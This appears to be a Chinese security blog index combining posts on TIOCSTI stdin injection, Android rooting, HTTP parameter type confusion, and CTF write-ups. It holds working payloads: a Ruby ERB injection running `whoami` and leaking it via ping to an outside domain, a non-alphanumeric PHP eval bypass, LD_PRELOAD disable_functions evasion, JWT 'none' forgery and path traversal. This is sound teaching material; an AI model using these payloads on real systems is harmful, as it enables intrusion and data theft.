安全研究

前言

在做分析二进制文件的时候,难免会遇到需要在程序输入处输入一些不可显字符,一般我们会通过pwntools进行解决

from pwn import *

con = process('ret2lib')
con.recvuntil("input:")

con.send("\x01\x01\x00\x01")
con.interactive()

但是当脚本存在一些问题,我们需要通过gdb调试时,在程序输入中输入不可显字符就较为麻烦。于是有了这篇文章

正常方法

pwn师傅给我的方案是,首先输入正常字符,输入后,找到字符串地址,通过GDB 命令 set xxx=xxx对内存处进行更改
图片.png

网上找了一下GDB set命令,大部分教程都是修改整型

(gdb) set {unsigned int}0x8048a51=0x0

对于字符串的修改却没找到中文资料
于是我稍微仿照试了一下啊,最终发现

(gdb) set {char [6]}0x8048a51="12345"

可行,需要注意,[]数值包括了0,所以需要比字符串常量多1。
并且类型不能使用{char *},否则 对应地址处会继续存放一个字符串指针,而不是字符串值,如下图

图片.png
图片.png
------------------------------------------------------------------------------------------------------

图片.png
图片.png

此外,我在网上还搜到一个人写的GDB插件,不过我下载下来以后使用不了,看源码发现是使用了GDB的call命令重定向了文件描述符(call 命令还有这个功能?不太懂)没有深究
https://www.jianshu.com/p/78e77277ebb5

错误方法

但是一开始我用的方法不是PWN师傅教我的,当时,我自己的理解是每个文件下都有3个文件描述符,
0 -> stdin(标准输入)
1 -> stdout(标准输出)
2 -> stderr (标准错误)
而且在Linux中,万物皆文件,这三个文件描述符分别存储在 /proc/{pid}/fd/ 下
那我直接往 标准输入里面写数据不就可以了吗
我的做法如下
demo.c

#include<stdio.h>
#include <unistd.h>
int main(){
    pid_t pid = getpid();
    char s[100];
    printf("pid of this process:%d\n", pid);
    printf("please input string:\n");
    scanf("%s",s);
    printf("U input String is :%s",s);
    return 0;
}

运行过程
图片.png

这是我键盘输入的123456798,那如果我往标准输入写数据呢

下面是我的尝试
图片.png
keyboard input :123456是我在键盘上打出来的字符串,很明显可以看到,虽然我们往对应进程的标准输入描述符中写入的数据被打印到了终端上,但是程序进程的输出却告诉它并没有接收到这些数据。而我用键盘继续输入的字符串才真正被程序接收
PS: 由于scanf函数读取到空格会停止,所以keyboard后面的字符串并没有被接受

原因

虽然往标准输入写数据 理论上听上去没什么问题,但是结果告诉我们并不能成功,网上搜索的时候中文搜索引擎并没有相关的结果,但是谷歌一下就找到了原因

https://serverfault.com/questions/178457/can-i-send-some-text-to-the-stdin-of-an-active-process-running-in-a-screen-sessi#
中文翻译一下大概就是
提问者提出了linux服务器终端有个任务,怎么样才能写脚本代替手工往这个终端任务的标准输入写数据

而下面的回答就是,往/proc/{pid}/fd/0 写入数据只会回显到tty上,并不会被程序接受
原因是 正常的写文件操作并不能被程序读取,需要以一种特殊的方式发送输入文本以供过程读取。通过常规文件write方法发送输入文本将不会导致进程接收文本。这是因为这样做只会附加到该“文件”,而不会触发进程读取字节。
为了触发该过程以读取字节,必须对要发送的每个单个字节IOCTL执行类型的操作TIOCSTI。这会将字节放入进程的标准输入队列中。
我的理解是,这种输入不是正常文件读取,而是一种流式传输,所以我上面的粗暴写文件方法是无效的。

那怎么进行流式传输呢,系统肯定提供了对应的系统调用呀
系统调用 ioctl
图片.png

C demo

根据描述,ioctl是控制文件描述符 I/O通道的函数,答者根据这个系统调用写了一个小demo来往标准输入里面写数据
PS: 往其他文件的标准输入写数据需要root权限

对应的demo
https://raw.githubusercontent.com/grawity/code/master/thirdparty/writevt.c

/*
 * Mostly ripped off of console-tools' writevt.c
 */

#include <stdio.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>

char *progname;

static int usage() {
    printf("Usage: %s ttydev text\n", progname);
    return 2;
}

int main(int argc, char **argv) {
    int fd, argi;
    char *term = NULL;
    char *text = NULL;

    progname = argv[0];

    argi = 1;

    if (argi < argc)
        term = argv[argi++];
    else {
        fprintf(stderr, "%s: no tty specified\n", progname);
        return usage();
    }

    if (argi < argc)
        text = argv[argi++];
    else {
        fprintf(stderr, "%s: no text specified\n", progname);
        return usage();
    }

    if (argi != argc) {
        fprintf(stderr, "%s: too many arguments\n", progname);
        return usage();
    }

    fd = open(term, O_RDONLY);
    if (fd < 0) {
        perror(term);
        fprintf(stderr, "%s: could not open tty\n", progname);
        return 1;
    }

    while (*text) {
        if (ioctl(fd, TIOCSTI, text)) {
            perror("ioctl");
            return 1;
        }
        text++;
    }

    return 0;
}

编译完以后,只需要执行

writevt /proc/{pid}/fd/0 "you text"

图片.png

但是这个程序有个小bug,很明显,这个程序是把第二个命令行参数当作文本,第一个参数当成描述符。但是如果我们需要输入特殊字符,比如回车,我们一般会这么输入
图片.png
但是程序显示参数过多,因为回车会被当成命令行分隔符,123n456,运行结束后123会被当成第二个命令行参数,456会被当成第三个命令行参数,所以我们无法通过这个输入某些特殊字符。

这肯定不是我们想要的,但修改C代码稍微有点繁琐,好在,另一个回答提供了python demo

python demo

import fcntl
import sys
import termios

with open('/dev/tty1', 'w') as fd:
    for char in "ls -la\n":
        fcntl.ioctl(fd, termios.TIOCSTI, char)

稍微改成上面的形式就是

import fcntl
import sys
import termios

with open(sys.argv[1], 'w') as fd:
    for char in sys.argv[2]:
        fcntl.ioctl(fd, termios.TIOCSTI, char)

有了python就好办事了,我们可以规定命令行传入的特殊字符会编码一次,而程序中再解码一次即可

#!/usr/bin/python
# writev.py

import fcntl
import sys
import termios

with open(sys.argv[1], 'w') as fd:
    for char in eval("'"+raw_input()+"'"):
        fcntl.ioctl(fd, termios.TIOCSTI, char)

图片.png
PS:由于bash中会转义反斜杠,所以这里需要双反斜杠

成功的把数据输入到了进程的标准输入中,进程也成功接收到了数据

tty

触类旁通,我们知道linux中,每个终端就代表了一个tty,tty也是一个文件描述符,既然我们能控制输入输出,理论上就应该也能控制tty,
图片.png
确实如此,我们可以模拟tty的键盘输入,往tty里面写数据,但是如果要获取tty的标准输出,和获取正常输入的标准输入呢?

这里埋个坑。这方面的资料真的太少了,google搜到的资料也太杂了,暂时也没什么思绪,准备明天去看看pwntools的源码,先鸽了,一定更新,下次一定

- 阅读全文 -
Android

前言

本来说暑假学一点安卓,结果看来看去还是被Root吸引了,《第一行代码》看了一小部分,然后凭着自己的理解,大概明白了Root的原理。这篇文章就是就当培养兴趣,也没啥技术干货,当故事讲。
因为笔者水平有限,如果这篇文章有技术错误,可以在下方指出,我会及时更改

Android系统

众所周知,Android系统是在Linux的基础上开发的,安卓本质上就是Linux的二次开发,用的依旧是Linux内核,只不过安卓封装了一层。对于Linux的底层,/为根目录的文件系统,/bin目录下的cd ls su命令,都依旧存在在手机中,只不过安卓做好了封装,对于用户是不可见的,就像安卓机上系统不会给你一个终端让你玩,当然很多第三方app有这种功能(要root才能使用)

在我还没学安卓的时候我一直有一个疑惑,为什么安卓一般都用Java写。C才应该是跟系统打交道的语言啊。要回答这个问题我首先会介绍一些系统知识,以防止不太了解的同学听不懂

可执行文件

一般来说,我们提到的应用软件都指的是可执行文件,在Windows上,这个文件是EXE,在Linux上,一般指的是ELF,操作系统提供了对可执行文件的支持,可执行文件不需要任何其他环境就可以执行。所以我们编写软件,也一般指的是编写EXE或ELF文件。
对于exe或者elf,C语言家族肯定是老大哥,c的编译默认就是生成可执行文件,编译完成只需要双击就可以运行。(这里不讨论系统库(dll或者so))而对于其他热门语言来说,首先很大一部分不支持生成可执行文件,其次对于一些和系统打交道的底层细节处理上无法实现或者很难实现(比如我要给我的硬件发送硬件信号,读取内存为0x80000的内容)

系统调用

为什么会这样,就要介绍系统调用了,这方面内容比较复杂,详细的话可以百度,我这里简单介绍一下。
图片.png

我们把上图的用户当作是我们写的程序,对于操作系统来说,操作系统承当负责用户与计算机硬件中间的翻译者,操作系统提供了很多名为系统调用的函数,对于操作系统来说,程序不需要也不允许直接操控硬件,一切直接与硬件交互的事情都交给操作系统来做,这就是内核态。

程序只需要使用系统调用就可以完成大多数功能。这就是用户态。

因为对于硬件来说,硬件的控制过于麻烦,不可能每个程序员都需要深入了解硬件的控制才能写程序,比如程序员想读取一个文件,需要先判断文件在哪个扇区磁道,然后编程序向硬盘发送对应硬件信号,读取xx扇区xx磁道。估计世界上没几个人想当程序员了。而如果拥有操作系统,只需要使用操作系统提供的系统调用函数 open和read函数,就可以轻松读取文件。
比如C语言中最常见的printf函数,其实这个函数在系统调用函数的基础上继续做了封装,最底层的系统函数是write函数。

C语言

扯远了,继续谈为什么系统应用常用c语言来做,如上所说,要实现最所有基本的功能,就需要程序能够调用系统提供的系统调用函数。系统调用函数本质就是在内存中存在的一串汇编代码。所以理论上只需要知道这串代码的起始地址,就可以调用系统调用函数。而对于C语言,首先默认支持调用系统调用函数,原因是C的函数调用默认就是指针(内存地址)调用。
而对于其他语言,内存地址大部分都是被屏蔽的,所以我们无法通过指针调用系统原始的系统调用。虽然一般这些语言会在底层封装好一些常见的系统调用提供使用,但封装肯定会遗失一部分功能,对于一些底层功能,用高级语言就难以实现,再就是之前说的,很多语言不支持生成exe,而且还需要运行库。所以一些时候,用其他语言直接做软件比较麻烦,当然也能做。

Android 系统

继续回到安卓,安卓的开发者可能觉得用C开发手机应用比较麻烦,于是用了Java把常用系统调用封装了一遍,并且屏蔽了底层的所有细节。相当于安卓开发者用Java在linux的基础上在开发了一个新系统,而这个新系统提供的"系统调用"都是Java编写的,所以app开发者也必须用Java去调用这些"系统调用"函数,所以安卓就用Java开发最方便。如果当初开发者用Python封装这些系统调用函数,可能安卓就要用python写了。

我们可以理解安卓系统是建立在Linux上的一个沙盒,底层的细节都被屏蔽。
说了这么久还没说root的本质,其实手机root就是获取root权限,没错就是Linux最高权限用户root的权限。

但是安卓的开发者在开发的时候就对安卓系统做了严格的安全策略,只有内核部分权限具有root权限,一切用户态应用都是普通用户。也就是说我们编的程序在安卓上都是普通用户权限。
对于Linux,如果我们要成为root,大家都会想到使用su命令,然而安卓开发者也想到了这个命令,他们对su命令进行了更改,加入了一行逻辑,如果该用户不是root权限,那么不允许使用su命令。
这就形成了一个逻辑闭环
想成为root -> 使用su命令 -> 必须具有root权限 -> 想成为root

利用漏洞ROOT

虽然安卓开发者的想法天衣无缝,按照系统规则,程序确实无法拥有root权限。但是早期的安卓系统存在许多漏洞,学过提权原理的同学应该不难理解,root的本质就是提权,提权的本质一般就是利用高权限程序,劫持高权限程序代码,执行任意代码,这些代码就具有了高权限。提权就成功了。
比如pwn里最经典的栈溢出,如果一个内核程序具备root权限,同时存在栈溢出漏洞,那么就可以劫持执行任意代码,对于安卓的root,一般方法就是把su文件替换为没有限制的su文件,当然替换su文件需要有root权限。而我们劫持完root权限程序以后,就可以随意替换。这样以后所有程序,只需要运行一下su文件,就具有了root权限。

当然安卓这么多版本,具体的漏洞原理我肯定不会讲,但是安卓发展这么久了,就跟软件一样,漏洞越来越难挖。以至于现在新版android已经几乎没有办法通过漏洞root了

boot和recovery root

boot是开机启动时要执行的一段代码,recovery是一个与安卓系统平行的一个小工具系统,类似Windows PE
具体原理就是,既然安卓系统层面上无法root,我就绕过系统,在不加载系统的时候先把su文件替换了。
具体可以看看http://blog.sina.com.cn/s/blog_54b537150102wl24.html
这篇文章

物理root (自己想的)

学过逆向的肯定知道一句话,没有破不了的软件,只有不值得破的软件
我觉得在安卓身上也是,虽然软件层面不可破,但是毕竟自己的手机在自己手里啊。
既然我只需要替换一个su文件就可以root,su文件无法更改是操作系统的限制,那我能不能把手机磁盘取下来,用其他硬件设备或者其他手机连上去,然后放回原来的手机。
就跟windows一样,我一直有个想法,如果windows密码忘记了,如果密码是一个文件存储的,那能不能把磁盘取下来,放到别的电脑上,把密码文件改了,再插回去,毕竟电脑手机在自己手里。IOS越狱也同理。
虽然理论逻辑听上去没有什么问题,但是好像这方面的资料找不到,网上也没有相关信息,这个只能是猜测。
但是自己想一下,如果硬盘是微电子嵌入在主板中的可能就取不下来了。或者操作系统会对一些文件做签名校验?不过这样应该只会增大破解难度。

可惜,这个只是猜测,我没找到比较详细的资料(可能我搜索关键字不太对?)如果有师傅了解这个的,欢迎和我探讨。不甚感激

- 阅读全文 -
安全研究

前言

这个思路的起因是因为 今年的SCTF2019我出的一道Web题目 Flag Shop,当时这道题目我准备的考点只是一个ruby的小trick,并且有十几个队伍成功解出,但是在比赛的最后 VK师傅@Virink告知我这道题存在一个非预期 可以GetShell。这个非预期Getshell的知识点就是本文的主体内容,而后我在多个编程语言里进行了测试,发现很多语言也存在相似的问题。遂有了此文章。
在文章发布之前的UNCTF中,我把node.js在此攻击面上的问题单独抽离了出来做了一道题目。想看这道题wp的师傅可以移步另外一篇文章
推荐师傅们看此文章前,先看一遍 SCTF 2019 Flag Shop和 UNCTF arbi第三部分的Wp

SCTF flag shop Write-up flag-shop](https://github.com/ev0A/SCTF2019-Flag-Shop)

例题

我还是决定先从大家最喜欢的PHP讲起,请看这一道例题

<?php

$flag = "flag";

    if (isset ($_GET['ctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

这是Bugku的一道题目 相信大部分人都做过,考察的的是PHP的弱类型,这里只需要输入?ctf[]=1即可绕过,这就是一个最简单的HTTP传参的类型差异的问题,但是实际中不可能有程序员写出这种无厘头的代码,而且在CTF中这样出题也会让赛棍瞬间想起这个知识点从而秒题,所以就在思考,有没有什么实际中可能存在的代码和CTF中不那么容易被赛棍秒题的写法呢

Ruby

为了让大家更快了解我的标题的含义,我直接用我当时flag shop非预期来做一个讲解

预期解

if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

这个就是我的Flag Shop中存在非预期的代码,如果对这道题不是特别了解的话可以去看看,buuctf有此题的复现环境http://buuoj.cn/ 再此感谢下赵总上题 [@glzjin ]()

这里简单讲一下 预期做法,就是此题用了一个ERB模板引擎,在此题条件下存在模板注入的问题,但是我限制了用户只能输入7位 字符串进行模板注入 就是上面的第一行

#{params[:name][0,7]}

这行代码 代表 url参数名是name 并取前七位,然后模板渲染并且可回显需要<%==> 标志,除去这5个字符只剩下2个字符可用 ,这道题就是两个字符进行模板注入爆破JWT-Secret。

非预期解

当然,上面是预期解的做法,下面讲讲非预期解的做法,

看文下面这个代码,大家就知道为什么会产生非预期了

$a = "qwertyu"
$b = Array["bbb","cc","d"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

{}可以想象成 ${} 代表解析里面的变量
[0,3]可以想象成python的[0:3]
输出结果

[evoA@Sycl0ver]#> ruby test.rb
$a: qwe
$b: ["bbb", "cc", "d"]

这里,可以类比PHP中的弱类型,$b变量原本是数组,但是由于被拼接到了字符串中,所以数组做了一个默认的类型转换变成了["bbb", "cc", "d"]

有了这个trick,上面代码[0,7]从原本的限制7个字符突然变成了限制7个数组长度emmmmmmm,于是

非预期exp

/work?do=["<%=system('ping -c 1 1`whoami`.evoa.me')%>", "1", "2", "3", "4", "5", "6"] is working&name[]=<%=system('ping -c 1 1`whoami`.evoa.me')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6

直接实现了任意命令执行

解释

这就是一个HTTP参数传递类型差异的问题,具体的意思就是,由于语言的松散型,url传参可以传入非字符串以外的其他数据类型,最常见的就是数组,而后端语言没有做校验,并且在某些语法上,字符串和数组存在语法重复,就可以利用这个特性,绕过一些程序逻辑

什么叫语法重复,就是对一个变量进行一些操作,不管变量是数组还是字符串,都可以成功执行并返回。
最常见的就是输出语法,比如echo ,大部分编程语言会把数组转换为字符串。
当然,这并不是什么新鲜的攻击面,只是在之前没多少人系统的归纳这种攻击方式,但我觉得如果能找到一个合适的场合,这种利用方式还是很强大的(比如我的getshell非预期Orz

Javascript

数组和字符串

很多师傅是JS的忠实粉丝,因为其强大的灵活性和爽快的代码风格

但是JS不属于强类型语言,他也同样存在类似的问题

var a="abcedfghijtk"
var b=["qwe","rty","uio"]

console.log(a[2])
console.log(b[2])

输出:

[evoA@Sycl0ver]#> node test.js
c
uio

当然,仅仅是一个[]语法还是比较鸡肋的,我们需要找能同时兼容数组和字符串的函数或语法,JS中对数组和字符串通用的函数有哪些呢

测试代码

function contains(arr, obj) {
  var index = arr.length;
  while (index--) {
    if (arr[index] === obj) {
      return true;
    }
  }
  return false;
}
//两数组 取并集
function arrayIntersection (a,b){
  var len=a.length;
  var result=[];
  for(var index=0;index<len;index++){
    if(contains(b,a[index])){
          result.push(a[index]);
        }
  }
  return result;
}

console.log(arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor)))

输出结果

arrayIntersection(Object.getOwnPropertyNames(a.constructor),Object.getOwnPropertyNames(b.constructor))
(7) […]

0: "prototype"

1: "slice"

2: "indexOf"

3: "lastIndexOf"

4: "concat"

5: "length"

6: "name"

length: 7

<prototype>: Array []

这是数组和字符串通用的方法,除了原型对象自身的方法外,还有全局下的一些函数和语法,他们的参数既可以是数组,也可以是字符串。比如

/test/.test("asdtestasd")
/test/.test(["asdtestasd","123"])

字符串与数组拼接时也存在默认调用toString方法

> b+a
"qwe,rty,uioabcedfghijtk"

数组和对象和字符串

然而,Express框架中,有一个更神奇的特性,HTTP不仅可以传字符串和数组,还可以直接传递对象

var express = require('express');
var app = express();
app.get('/', function (req, res) {
   console.log(req.query.name)
   res.send('Hello World');
})
 
var server = app.listen(8081, function () {
  var host = server.address().address
  var port = server.address().port
 
})

输入

?name[123]=123&name[456]=asd

输出

{ '123': '123', '456': 'asd' }


我们把

console.log(req.query.name)

改成

console.log(req.query.name.password)

输入

/?name[password]=123456

输出

123456

我们来看几个好玩的

输入输出
?name[]=123456&name[][a]=123[ '123456', { a: '123' } ]
?name[a]=123456&name=b{ a: '123456', b: true }
?name[a]=123456&name[a]=b{ a: [ '123456', 'b' ] }
?name[][a]=123456&name[][a]=b[ { a: [ '123456', 'b' ] } ]

感觉有点像HPP漏洞,但实际又不是
unctf中,我就采用了 .length方法用来判断字符长度,而length也存在一个语法重复,可以对数组进行操作,通过url传入数组,构造恶习url即可绕过

结合一下数组和对象通用方法 我觉得,这方面express很多有趣的特性可以去发现

PHP

php可以从url中获取数组类型,然而可惜的是,php 对于数组和字符串 官方文档中说明,存在重复的语法很少,输出语法中,数组只会被替换为 "Array" 字符串。
但是,数组传入一些函数都会获得一些奇怪的返回值,这就是很多弱类型CTF题目的考法,可以通过url传入数组,进入一个函数,获得一个奇怪的返回值绕过。所以我觉得,在这个方向,PHP还是存在很大一片挖掘的领域的。

Python

Python的框架貌似不太支持http传入奇怪的东西

经测试

django 和 flask默认不支持传入奇怪的东西(只能传入字符串)

web2py框架支持传入列表

tornado的self.get_query_argument只会获取一个参数,self.get_query_arguments可以获取列表

很可惜,如果我们通过一种方式获取到非字符串类型的数据类型(比如json传递,xml传输等),在Python中,我们也能有好玩的方式

PS: Py不像Js那样,获取列表字典的值必须要用xxx["xxx"]的语法而不能用xxx.xxx

废话不多说 看代码

a = "qwertyuiop"

b = ["aaa","bbb","ccc","ddd"]

c = "----%s----" %b

print(a[:3])
print(b[:3])
print(c)

结果

[evoA@Sycl0ver]#> python test.py
qwe
['aaa', 'bbb', 'ccc']
----['aaa', 'bbb', 'ccc', 'ddd']----

同样,python也有全局方法 参数既可以是字符串也可以是变量

a=dir("123")
b=dir([1,2,3,4])
tmp = [val for val in a if val in b]
#取a b 交集
print tmp

结果

['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']

可能在这个攻击面上,Python原生提供的方法,确实比较难利用,但是还有很多库和函数没有去测试,我也相信,如果能有一个有趣的数据传输方式,配合python那么多的库和函数,也会有很多很多有趣的攻击方式

Java

其实我在没测试的时候就猜到了结果

测试发现Springboot 存在HPP漏洞,多个url参数会自动拼接 并用,分割,并不会转换类型

原生JSP & Servlet 在这个方面不存在任何漏洞 果然Java严格数据类型还是牛逼(破音

Go

我不会什么Go的框架,只测试了Beego,由于Go的强类型

beego也是提供严格的变量获取方法,调用方法的不同决定了参数的类型

比如GetString 返回字符串 GetInt 返回整形 GetStrings返回字符数组,把url变量相同的放到一个数组中

所以正常来说,Go也是真的很安全的

asp & aspx

测试只发现存在HPP漏洞,多个参数用","分割,不能变为其他数据类型

后话

当然,这些利用方式比较单调,除了node有一定的花样外,其他的都比较单一,但是我们也可把眼光方法放大,除了url传参,还有json,xml

所以大部分情况下,可能接下来的攻击面只能利用在服务端会解析Json数据的情况下,对于Py中的Json数据,我们可以伪造以下数据类型

- 阅读全文 -
CTF

前言

本题是由于前期新手题放出来,有些能力比较强的师傅秒完题没题做,放出来拖拖时间给师傅们找点乐趣的。
难度并不大,都是考烂的知识点,不过由于就花了半个小时出题= =,结果大部分都和我想要的预期解不一样。
这里就说一下预期解

题目源码:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

非预期

发现大部分师傅的exp都是这个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

emmmmmm
应该大部分都是网上直接copy的,一摸一样,没得灵魂
原因还是因为我给的条件太宽泛了,其实预期解,是想让大家自己实现无文件RCE的
if(preg_match("/[A-Za-z0-9]+/",$code) ×

~~if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code) √

预期

我的exp:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

当然,这个exp需要php版本刚好为7.0,通过phpinfo就可以知道版本,大于小于这个exp都会失效,具体原因大家应该知道为什么(卖个关子

然后我们就可以在U-A头里面随意执行命令,蚁剑连上,准备拿flag
然而,我们发现 根目录的 /flag无法读取,很多人来问我为什么
其实看权限就能知道,/flag是没有权限读取的,打过CTF的都知道,一般这个时候,根目录会留一个/readflag来让ctfer 执行命令拿flag,/readflag会有一个s权限 Linux 文件权限与ACL

所以,我们必须RCE才能获取/flag

但是,phpinfo里ban了所有RCE函数,
图片.png

pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,ld,dl

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

后者这算我出题的一个小失误,但是我也没有实现动态靶机的能力,只能说心有余而力不足。
上面的github的链接就是本题的exp,原理也说了,工具怎么用,就看看上面的github,虽然没有达到我想要的预期,不过放在新生赛题目中,能看到有几个新生确实凭着自己能力,最终把这道题给做了出来,还是蛮欣慰了。
这个CTF题目比较偏pentest,在我之前的一次渗透中,就用到了这个方法RCE
https://evoa.me/index.php/archives/58/

end

题目环境不会关,除非我VPS过期 XD,想复现这个简单题目的师傅可以去复现一下 (溜

- 阅读全文 -
Web

前言

这次UNCTF 我一共出了两道Web题目,一道node.js (Arbi)一道Java(GoodJava),由于比赛宣传力度可能不是特别大,再加上比赛周和很多的大型线下赛冲突,所以很多师傅都没有来参加比赛,有一点小遗憾。本次准备的两道题目都是花了很长时间准备的(特别是Arbi),下面就分享一下题目的解法,并且由于arbi这道题目我用了一个我认为比较新的攻击面,所以我会在写另一篇文章单独讲这个攻击面(真的绝对不是凑稿费XD
并且由于题目被安恒买断,我不能在互联网上公开题目的搭建dockerfile,但是这两道题目是公开的代码审计,所以我可以放出题目的源码,搭建就麻烦各位师傅花一点点时间,如果有搭建不成功的也可以私我询问,敬请谅解

Arbi

这道题的出题思路是在SCTF被非预期后想到的,采用和当时一样的非预期攻击面(具体可以移步另一篇
为了增加题目难度,我与[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)
的一道题的trick相结合,加上一点点node的特性,于是就有了这道题
可能由于第一关脑洞有点大==,这道题虽然第一天就放了出来,但是很多师傅刚开始都没拿到源码,最终这道题放了6个hint,终于在6天后的 比赛最后一天被解了出来Orz

第一关

首先浏览题目,可以发现页面只有登陆注册,查看返回包,可以发现X-Powered-By告知了网站采用express构建
注册登录以后首页会显示一个派大星的图片和用户名
图片.png
查看源代码可以发现可疑ssrf
图片.png
但是如果更换src参数会提示,"Evil request!"
这个其实试一试就很容易猜到,这个路由的后端代码会匹配请求的url和用户名是否对应,在后面给的hint也可以得到这个结果
源码:
图片.png
然后其实服务器的9000端口开了个SimpleHTTPServer,(题目描述)hint也讲的很清楚
如果直接访问/upload/evoA.jpg 也可以访问到图片,所以可以推断出,SimpleHTTPServer的根目录很可能在web根目录下,由于express的路由无法直接访问源代码文件,但是因为SimpleHTTPServer的原因,我们可以通过这个端口直接获取源码文件

这里就是第一个考点,虽然我们不知道node的入口文件是什么(大部分可能是app.js或者main.js,但此题不是)
node应用默认存在package.json,我们可以通过读取这个文件获取入口文件,由于上面说了ssrf接口会判断用户名是否匹配请求的url,所以我们可以注册一个恶意的用户名,"../package.json?"
这里?刚好把后面的.jpg给截断了,登录以后已经没有派大星了(图片内容是package.json的内容)
图片.png
把图片下下来用文本打开,即可看到package.json文件内容
图片.png
可以得到flag在/flag中,并且项目主入口是mainapp.js,继续注册文件名,一步一步爬源码
读到routers/index.js的时候可以看到源码路由(为了防止师傅们做题爬的太辛苦)访问下载源码即可
图片.png
第一关以拿到源码结束

第二关

审计源码,可以发现有一个读文件的敏感操作在一个admin23333_interface的路由中,但是这个路由会鉴权用户是不是admin,所以第二关的核心任务是如何成为admin,(注册时不能注册admin用户的)
这里我参考了[ångstromCTF 2019](https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#%C3%A5ngstromctf-2019----quick-write-ups-by-terjanq-web)这道题
但是为了防止做题的时候被师傅们搜到,我对照这个功能,重新写了一遍代码。
具体代码就不贴了,师傅们可以自己看源码,我讲一下大概逻辑
首先注册登陆采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候通过用户传过来的id取出对应的secret_token来解密jwt,如果解密成功就算登陆成功。
这里就是第二个考点

node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密
图片.png
因为服务端 通过

 var secret = global.secretlist[id];
 jwt.verify(req.cookies.token,secret);

解密,我可以通过传入不存在的id,让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

# pip3 install pyjwt
import jwt
token = jwt.encode({"id":-1,"username":"admin","password":"123456"},algorithm="none",key="").decode(encoding='utf-8')
print(token)

替换jwt后使用admin/123456登陆即可成功伪造admin
图片.png
第二关就结束了

第三关

其实第三关才是我最想出出来的,但是由于思路不够,第三关感觉太简单了,所以前面设置了很多坎
成为admin后,就可以访问admin23333_interface接口,审计可以发现,这是一个读取文件的接口 这里用到了express的特性,当传入?a[b]=1的时候,变量a会自动变成一个对象 a = {"b":1} 所以可以通过传入name为一个对象,避开进入if判断 从而绕过第一层过滤
if(!/^key$/im.test(req.query.name.filename))return res.sendStatus(500); 第二个过滤是 判断filename 不能大于3,否者会过滤.和/,而读取flag需要先目录穿越到根目录
而../就已经占了3个字符,再加上flag肯定超过限制,
这时候可以换个思路,length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美恢复数组为字符串绕过过滤,
而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a =
[123,456],所以最终组合成

/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g

GoodJava

此题参考了最近的TMCTF,经过了改编 加大了难度

第一关

题目会提供一个Jar包
用idea打开反编译后审计源码
找到Controller
图片.png

源码可知一共有两个路由
第二个路由需要输入secret密钥才能访问,而secret存在在服务器/passwd文件中
可以猜测第一个路由就是获取密钥文件的功能,跟进可以发现OIS类继承了ObjectInputStream,把POST数据传入OIS构造方法,而然后ois.readObject()则是反序列化操作
